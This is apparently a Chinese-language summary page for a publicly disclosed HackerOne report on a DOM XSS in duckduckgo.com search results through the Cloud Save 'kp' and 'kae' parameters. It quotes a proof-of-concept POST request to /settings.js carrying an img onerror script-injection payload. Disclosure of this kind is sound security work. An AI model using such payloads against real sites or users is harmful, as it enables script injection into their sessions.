DOM XSS on duckduckgo.com search
该报告还没有中文解读。
原文摘录
摘自原文（2574 字符中的一小部分）
there is a DOM XXS vulnerability on the https://duckduckgo.com/ search result page through the `kp` and `kae` parameters of the [Cloud Save](https://help.duckduckgo.com/duckduckgo-help-pages/settings/cloud-save/) feature.
原文中的代码
POST /settings.js HTTP/1.1
Host: duckduckgo.com
Content-Length: 248
{
"command":"write",
"objectKey":"bb6e45e894d7b1f3a2619df967be873b15f8eccd55d3a729f58429b59f72431e4fd4b736a0ae5cf74933bcb5136103e1c09664972b3c489d1b682f08ce0703ff",
"obj":{
"kp":"\"><img src=/ onerror=alert(1)>",
"kae":"\"><img …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 DuckDuckGo 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @sijisu · 版权归作者与 DuckDuckGo 所有